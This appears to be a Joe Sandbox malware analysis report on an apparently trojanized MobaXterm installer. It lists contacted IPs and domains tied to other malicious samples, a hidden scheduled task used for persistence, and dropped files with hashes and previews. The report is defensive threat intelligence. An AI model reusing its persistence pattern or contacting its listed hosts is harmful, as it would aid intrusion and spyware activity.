T2dvU8f2xg.exe, 00000000.00000002.3848598695.0000000009247000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1680963161.00000000FFD27000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1391936069.000000000A7B6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1350237895.0000000007439000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1397982376.000000000AFE6000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDB60000.00000004.00001000.00020000.00000000.sdmp	false		high
https://mobaxterm.mobatek.net/download.html	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://mobaxterm.mobatek.netopenwinAboutDlgProc	T2dvU8f2xg.exe, 00000000.00000003.1777956349.000000000908F000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1689565677.0000000008E1A000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1680963161.00000000FFA80000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1767527628.00000000FFCF0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.baraha.com/help/Keyboards/tel_brhkbd.htm	T2dvU8f2xg.exe, 00000000.00000002.3829538446.0000000007CA4000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/http-cookies.html#	T2dvU8f2xg.exe	false		high
http://scripts.sil.org/OFL	T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
http://x.ss2.us/x.cer	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false		high
https://mobaxterm.mobatek.net/download.htmlS	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/primer/octicons)	T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AF45000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1423788848.000000000BE39000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1430830740.000000000C05C000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1413149338.000000000AA27000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1486584998.00000000087DC000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1477402259.00000000FFAB0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000002.3851742486.000000000AFF2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1374182708.0000000009EAB000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1378530251.0000000009F5D000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1382969833.000000000ADB0000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.1454875008.00000000FDF5D000.00000004.00001000.00020000.00000000.sdmp	false		high
http://wiki.laptop.org/go/Image	T2dvU8f2xg.exe, 00000000.00000002.3849894852.0000000009279000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobaxterm.mobatek.net/download.htmlU	T2dvU8f2xg.exe, 00000000.00000000.1316010573.0000000000401000.00000020.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
154.19.200.133	unknown	United States	132146	RICHTOPEC-AS-APRichTopECLimitedHK	false
107.148.62.100	unknown	United States	54600	PEGTECHINCUS	false
107.148.51.200	61xdm.com	United States	54600	PEGTECHINCUS	false
118.107.29.172	scrt1.nyazz.com	Singapore	64050	BCPL-SGBGPNETGlobalASNSG	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577424
Start date and time:	2024-12-18 13:19:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	T2dvU8f2xg.exe renamed because original name is a hash value
Original Sample Name:	aff26ef08f47b7543f4f84e5fd6d378d950f9b7d99a2397e3e56fb064db0efe2.exe
Detection:	MAL
Classification:	mal88.troj.spyw.evad.winEXE@12/723@3/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 172.202.163.200, 92.122.16.236
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: T2dvU8f2xg.exe

Simulations

Behavior and APIs

Time	Type	Description
07:21:08	API Interceptor	6x Sleep call for process: T2dvU8f2xg.exe modified
13:21:37	Task Scheduler	Run new task: MyHiddenApptask path: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
107.148.62.100	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse	107.148.62.100:8084/
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	107.148.62.100:8084/
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	107.148.62.100:8084/
107.148.51.200	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse
118.107.29.172	oiBxz37xUo.dll	Get hash	malicious	Unknown	Browse
	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse
	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse
	SGVKcFqU08.exe	Get hash	malicious	Unknown	Browse
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
scrt1.nyazz.com	oiBxz37xUo.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	SGVKcFqU08.exe	Get hash	malicious	Unknown	Browse	118.107.29.172
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
s-part-0035.t-0009.t-msedge.net	cred.dll	Get hash	malicious	Amadey	Browse	13.107.246.63
	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	Setup2.exe	Get hash	malicious	Cryptbot	Browse	13.107.246.63
	clcs.exe	Get hash	malicious	Cryptbot	Browse	13.107.246.63
	2kudv4ea.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	stealc_default2.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.63
	F1TwARdSKB.js	Get hash	malicious	Mint Stealer	Browse	13.107.246.63
	EXTERNALRe.msg	Get hash	malicious	Unknown	Browse	13.107.246.63
	JnEZtj3vtN.exe	Get hash	malicious	PureCrypter	Browse	13.107.246.63
	https://syndiclair-my.sharepoint.com/:o:/g/personal/ml_syndiclair_fr/En8EbZMYpZ5CodZQ05mt4IMBGZHEHcSylnIeMh0DoULmZw?e=UkXb4Y	Get hash	malicious	Unknown	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PEGTECHINCUS	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse	107.148.51.200
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	107.148.51.200
	SGVKcFqU08.exe	Get hash	malicious	Unknown	Browse	107.148.62.100
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	107.148.51.200
	ldr.ps1	Get hash	malicious	GO Miner, Xmrig	Browse	156.239.140.243
	elitebotnet.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	108.186.11.63
	b3astmode.sh4.elf	Get hash	malicious	Mirai	Browse	156.247.76.135
	PO 1202495088.exe	Get hash	malicious	FormBook	Browse	198.2.236.225
	sh4.elf	Get hash	malicious	Mirai	Browse	156.243.156.245
	nsharm.elf	Get hash	malicious	Mirai	Browse	156.243.156.200
RICHTOPEC-AS-APRichTopECLimitedHK	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	154.19.248.89
	m68k.elf	Get hash	malicious	Unknown	Browse	154.19.41.58
	armv7l.elf	Get hash	malicious	Unknown	Browse	154.19.144.155
	instacai-.exe	Get hash	malicious	GhostRat	Browse	154.19.162.131
	instacai-.exe	Get hash	malicious	GhostRat	Browse	154.19.162.131
	7Y18r(99).msi	Get hash	malicious	GhostRat, Mimikatz, Nitol	Browse	154.19.85.12
	#U7f51#U7edc#U670d#U52a1#U6a21#U5757_v1.0.0.msi	Get hash	malicious	GhostRat, Mimikatz, Nitol	Browse	154.19.85.12
	http://x3mib9.xyz/	Get hash	malicious	Unknown	Browse	154.19.167.207
	WindowsProgram.msi	Get hash	malicious	Unknown	Browse	154.19.85.129
	QewpDKdeRJ.elf	Get hash	malicious	Mirai, Moobot	Browse	154.19.65.37
PEGTECHINCUS	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse	107.148.51.200
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	107.148.51.200
	SGVKcFqU08.exe	Get hash	malicious	Unknown	Browse	107.148.62.100
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	107.148.51.200
	ldr.ps1	Get hash	malicious	GO Miner, Xmrig	Browse	156.239.140.243
	elitebotnet.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	108.186.11.63
	b3astmode.sh4.elf	Get hash	malicious	Mirai	Browse	156.247.76.135
	PO 1202495088.exe	Get hash	malicious	FormBook	Browse	198.2.236.225
	sh4.elf	Get hash	malicious	Mirai	Browse	156.243.156.245
	nsharm.elf	Get hash	malicious	Mirai	Browse	156.243.156.200

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	oiBxz37xUo.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	7nJ9Jo78Vq.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	noll.exe	Get hash	malicious	Stealc, Vidar	Browse	118.107.29.172
	RFQ December-January Forcast and TCL.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	118.107.29.172
	duyba.lnk.download.lnk	Get hash	malicious	Unknown	Browse	118.107.29.172

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaCompareFiles	crt32s.dll	Get hash	malicious	Ursnif	Browse
C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaCompareFolders	crt32s.dll	Get hash	malicious	Ursnif	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\MobServe[1].exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22998363
Entropy (8bit):	5.855542002935661
Encrypted:	false
SSDEEP:	196608:7J4Hvn01nopKM8POZjcDJ5tASic6bcyDb:cvnaopKVscDFFic6bcyDb
MD5:	074ED5F745FD9A2EF6F29FD2D9AFB07A
SHA1:	86A99DC6671F246AAE0C45F9AC678D5604A237F7
SHA-256:	F89541C6B15925915CB3BBA6E812FF868C99FFDA7581C866EC9DFB6B4EA1507F
SHA-512:	1629A50C06B2FABE1F911C4997727D4963BF1A99A1949507D1F6FE46657AA1000F28A9000B32C202DE4C3410315D1CB1823FE512CECB3750C8906D5C5392EE6D
Malicious:	false
Yara Hits:	Rule: OlympicDestroyer_1, Description: OlympicDestroyer Payload, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\MobServe[1].exe, Author: kevoreilly
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d........\T..>....&.....H@..&y................@.............................@Z.....k._...`... ......................................p}.Y.....}..............`v..u............}............................. (v.(...................p.}.0............................text....G@......H@.................`..`.data....H...`@..J...N@.............@....rdata.. .1...D...1...D.............@..@/4...........Pv......4v.............@....pdata...u...`v..v...6v.............@..@.xdata...o....w..p....w.............@..@.bss....`....Px..........................edata..Y....p}.......x.............@..@.idata........}.......x.............@....CRT....`.....}......8x.............@....tls..........}......:x.............@....reloc........}......<x.............@..B/14...........~......,y.............@..B/29.......K...~...K..0y.............@..B/41.....'.......,...:..............@..B/55.....

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MoTTYnew.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3276704
Entropy (8bit):	6.755925658948853
Encrypted:	false
SSDEEP:	49152:NSfeDfjWld2qHX9Z2nZrqX+058sZIV3Fe0jLsCr+O65WsChLRa5LsC1T:NbWfHD2ZuX+C8sZcVeqcOWyRKz
MD5:	EE9F4984F439262326D37454EDFADD46
SHA1:	60E43595BF98AFD0B3A85AD8BD74F6774AC76D10
SHA-256:	210FC269B57718191DFF55A74DF864EB12AEDAAAF81B5707FFFBC9E57562A76C
SHA-512:	8B51EF8DAA060D3730621238E6E40F82054A8EEFEE928F091FF11CF0550DB94E31BEDE5D424849735EC317F7CD4ED7F85114B853EDF727BEEE8069EFF4A659A5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.............................1...................@.......................... 3.......2....... ..............................0..d/......8. ...........1..)..........................................................t7...............................text...T...........................`.P`.data...............................@.0..rdata..`".......$..................@.`@.bss.........0........................`..idata..d/...0...0..................@.0..CRT....8....`.......4..............@.0..tls.........p.......6..............@.0..rsrc...8. ....... ..8..............@.0.................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaCompareFiles

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	a /bin/bash.exe script, ASCII text executable
Category:	dropped
Size (bytes):	172
Entropy (8bit):	5.149115932629127
Encrypted:	false
SSDEEP:	3:TKHb9iYenFMOBdjBXAlKxGcDRiAXy2aJK0QCcHdEnKJ4KILMFXoAoIKVDIAf8Un:AM7BXmkXRjikfHdOpRLMWAVEh
MD5:	77F75C76BE8DA61C4475116075D887EE
SHA1:	24382C18A9F45F75808DA21F33D8CC467197C0B5
SHA-256:	5CDF1C3A66BB32C88CB0441A3477E3D5BB798ACDD184DF128EF1C563BF13E2C5
SHA-512:	A971569E1892C992C1738D2846EB3AC39D46D5AABBAA7297CA2C9143A97B5D32882D82A9226F813C7401D5BF99CBA41766ACE615D6EAD6DAED3E097ACBEC6E87
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: crt32s.dll, Detection: malicious, Browse
Reputation:	low
Preview:	#!/bin/bash.exe.MyArgs=(); for i in "$@"; do MyArgs+=( "`/bin/cygpath.exe -a -w "$i" 2>/dev/null`" ); done./bin/MobaBox.exe MobaSendMsg MobaXterm -compfiles "${MyArgs[@]}".

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaCompareFolders

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	a /bin/bash.exe script, ASCII text executable
Category:	dropped
Size (bytes):	174
Entropy (8bit):	5.146581496056875
Encrypted:	false
SSDEEP:	3:TKHb9iYenFMOBdjBXAlKxGcDRiAXy2aJK0QCcHdEnKJ4KILMFXoAoIKVDTkg8Un:AM7BXmkXRjikfHdOpRLMWAVxgh
MD5:	19D720BAE0451EE46D291BAD9014F228
SHA1:	DEADFEAC1145E71B69383A906DF5DF1A243BFDF2
SHA-256:	9C63292853DD0FD440B78EA6D09E5DA28D10A30E049176485F5E7401F1274F6C
SHA-512:	1A59EAAFD838C28142F089BE0BBA65299F3FC451A05DFD1FE19D84D60418EE308900F898B1850E0CAC70F1F705612884D2D5D9316B0EED320C1F6D21B76BF3D0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: crt32s.dll, Detection: malicious, Browse
Preview:	#!/bin/bash.exe.MyArgs=(); for i in "$@"; do MyArgs+=( "`/bin/cygpath.exe -a -w "$i" 2>/dev/null`" ); done./bin/MobaBox.exe MobaSendMsg MobaXterm -compfolders "${MyArgs[@]}".

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaGitEditor

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	a /bin/bash.exe script, ASCII text executable
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.112188875144617
Encrypted:	false
SSDEEP:	3:TKHb9iYenFMOBdjBXAlKxGcDRiAXy2aJK0QCcHdEnKJ4KILMFXoAoIpABNBd8Un:AM7BXmkXRjikfHdOpRLMWAVpkth
MD5:	0ABFCB480F550381151B4D1F0121D093
SHA1:	AD8D1EFC9F42A4673817777430E97C432CA719EE
SHA-256:	62440926EF3D659F51B6E5340CFCA39A8E633CED17AC0E270403F719CE32755B
SHA-512:	F9D9E93D34CC3B4E36DCF54A4E8BD380275252A0071AE542DBB89FFC4E265F47F3F85CF45BE079ADA6102C49CB98D73D60A0AAC6F63D12852782A6B3F69118EF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/bash.exe.MyArgs=(); for i in "$@"; do MyArgs+=( "`/bin/cygpath.exe -a -w "$i" 2>/dev/null`" ); done./bin/MobaBox.exe MobaSendMsg MobaXterm -gitedit "${MyArgs[@]}".

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaListPorts

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	a /bin/bash.exe script, ASCII text executable
Category:	dropped
Size (bytes):	172
Entropy (8bit):	5.1304683912115125
Encrypted:	false
SSDEEP:	3:TKHb9iYenFMOBdjBXAlKxGcDRiAXy2aJK0QCcHdEnKJ4KILMFXoAoIDHoog8Un:AM7BXmkXRjikfHdOpRLMWAVDHoogh
MD5:	BC32355ECB78CAC7589E9EB70632097C
SHA1:	12736D5CC2A47325DB4373C78C58BD735894C904
SHA-256:	52470DA1497B8D81FAC8CCFAA33FE2762F83020E4E125A1B8339EED63214A788
SHA-512:	13F3EFB3A9E5FAFE512131A6B61A2644EE3E5696E65A4865B194AF64F159823407D46E86074639C91DF28C1C8882724B3EB990133CD81D5C011936AD46A4A411
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/bash.exe.MyArgs=(); for i in "$@"; do MyArgs+=( "`/bin/cygpath.exe -a -w "$i" 2>/dev/null`" ); done./bin/MobaBox.exe MobaSendMsg MobaXterm -listports "${MyArgs[@]}".

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaPictureViewer

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	a /bin/bash.exe script, ASCII text executable
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.144599316346541
Encrypted:	false
SSDEEP:	3:TKHb9iYenFMOBdjBXAlKxGcDRiAXy2aJK0QCcHdEnKJ4KILMFXoAoIxTMNW8Un:AM7BXmkXRjikfHdOpRLMWAVVMNWh
MD5:	9C84887743F83C4C201D0598A10D105E
SHA1:	F96CC6EF2D19D4871C81E8530D938E1EBEC74FCD
SHA-256:	CEAD5B35BCBFAE27C519D071437B65E04B131DEF99D8366B523017EC858F6B9F
SHA-512:	25F706D2F4B4F7DD9DB95895CFC83FC07DFB6168F14183082F5569E27BAE53982EB7798D803BCB2408BA132891D6EA305C17EE7F325FF1223398457EECDD7832
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/bash.exe.MyArgs=(); for i in "$@"; do MyArgs+=( "`/bin/cygpath.exe -a -w "$i" 2>/dev/null`" ); done./bin/MobaBox.exe MobaSendMsg MobaXterm -picview "${MyArgs[@]}".

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaTextEditor

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	a /bin/bash.exe script, ASCII text executable
Category:	dropped
Size (bytes):	167
Entropy (8bit):	5.11406005417764
Encrypted:	false
SSDEEP:	3:TKHb9iYenFMOBdjBXAlKxGcDRiAXy2aJK0QCcHdEnKJ4KILMFXoAoIF7oBd8Un:AM7BXmkXRjikfHdOpRLMWAVFqh
MD5:	18DC0C2246F8F9DACCB18B2D16FB2F47
SHA1:	61DF0FEDB500E93A970C17523CA84F21A0868718
SHA-256:	6119FEE0C96D1E88DF4B19DAAAD604E07288E68D55BEEDF8DEB6A7F82AAF01C8
SHA-512:	4CE516219DB7A3D9BE7A970223F9B686A372CCDC5178336662AA60A0F76E712251204F4023FC6431645BE345829F0AD5352C6BCE512327FA75693EB50A41DDAF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/bash.exe.MyArgs=(); for i in "$@"; do MyArgs+=( "`/bin/cygpath.exe -a -w "$i" 2>/dev/null`" ); done./bin/MobaBox.exe MobaSendMsg MobaXterm -edit "${MyArgs[@]}".

C:\Users\user\AppData\Local\Temp\Mxt242\bin\OpenX.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	17422
Entropy (8bit):	5.223074079013047
Encrypted:	false
SSDEEP:	192:Il6xH674/FpcpDHNEoi/NtRUQQtm44idI5Yo699u9Bfi7/7RNCszO:P56eIjm/vRxiSQySzRNCWO
MD5:	0CCF0586ED2B214AD7F5FB049C7609B6
SHA1:	C95B1EB247FAF599C79C78FE9384775CF77F843F
SHA-256:	73859CA04CE7EABBA812ACABEED3FC9759B3733E09B9AEEC1A64994F9D48F34F
SHA-512:	F7B5A8E1D624580E53C5C64B9DA4E401E27C211D60F78638CB5FDFE3F646B461FEC7D4805D87F3AFC76550E23661A40E6FFEBFEF63D9B3839FF1BCFCA869063A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."yes.D...................@...............0....@.......................................... ..............................p..$...................................................................................,q...............................text...............................`.P`.data...8....0......................@.0..rdata..H....@....... ..............@.0@/4...........P.......(..............@.0@.bss....D....`........................p..idata..$....p.......2..............@.0..CRT....4............:..............@.0..tls.... ............<..............@.0..rsrc................>..............@.0.........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3455928
Entropy (8bit):	6.457598899974273
Encrypted:	false
SSDEEP:	49152:Yczv1abbuqwOaK9mkvQT4HQI/OPEWOpJp/HtdhJf0HiYGrvpkLUpL/:YW1ebuqlnmkvQsHQI/OPEWOpHZSlnUpr
MD5:	6F1143FB1F02C715CBEF79C271A7E4B6
SHA1:	87701DB303C14051857D9207278CA97ABC896940
SHA-256:	F67826E3E8992F26AA951401E6978F1FDDAE707F9FBBD5C423646F0A8B594F0F
SHA-512:	E64B5B5584B853C122C36E79AFC6476E92C122440532D170DF8E425D8CC83E3D2891FD77B63BDD1C4DEBAE2344AEBF45E6A5B74248A9C976F8A2758762E4BE34
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)\Em..4...............&...4..d............&...@..........................`8.....n.4....... .......................3.L.....6..:....7..h............4..)...p7.X.............................6.......................6..............................text...h.&.......&.................`.P`.data...TQ....&..R....&.............@.p..rdata..8.....'.......&.............@.p@/4.......<......>.................@.0@.bss.....c....0.......................p..edata..L.....3......./.............@.0@.idata...:....6..<....2.............@.0..CRT....4.....6......83.............@.0..tls.... .....6......:3.............@.0..rsrc....h....7..j...<3.............@.0..reloc..X....p7.......3.............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.3.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3452624
Entropy (8bit):	6.456442428629307
Encrypted:	false
SSDEEP:	98304:WNdaWWhvT90MSGmHUkC+UH9txcv0HGM62OQy:WNdaWWhvZ0MhmHUkxUH9tx1HA
MD5:	55076AFC8F8DE2DF8F91FB2742BCDA61
SHA1:	C848BB01E859163B08CE4F58994B3D814DFDF700
SHA-256:	E3CB1B8EDB969533E9299C4169B12DF17A01D7516DF943B486A785C986CEDA30
SHA-512:	70BF3D76B86B28AA4209A51469A4B2161C4253313849217B5E1267CB17F6279235B9ED18CD975AA48227401B48887F594B3BE149531750638091AFC51A425D26
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...les(..4...............&...4..d............&...@..........................p8.......4....... .......................3.......6..:....7.Xj............4.."....7.\.............................7.......................6..............................text...H.&.......&.................`.P`.data...TQ....&..R....&.............@.p..rdata........'.......&.............@.p@/4......h<......>.................@.0@.bss.....c... 0.......................p..edata........3......./.............@.0@.idata...:....6..<....2.............@.0..CRT....4.....6......63.............@.0..tls.... .....7......83.............@.0..rsrc...Xj....7..f...:3.............@.0..reloc..\.....7.......3.............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.8.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3453080
Entropy (8bit):	6.454975620761296
Encrypted:	false
SSDEEP:	98304:XBniZd5fTuy+PcHtrpsniwTQ5+sVa08MS:XBniZd5fyy+PcHtraiwC+UK
MD5:	8F241E18469C12F7E2A611067F4AE018
SHA1:	E494B9AC99E5773837A7FE7E90C04997D9ABE989
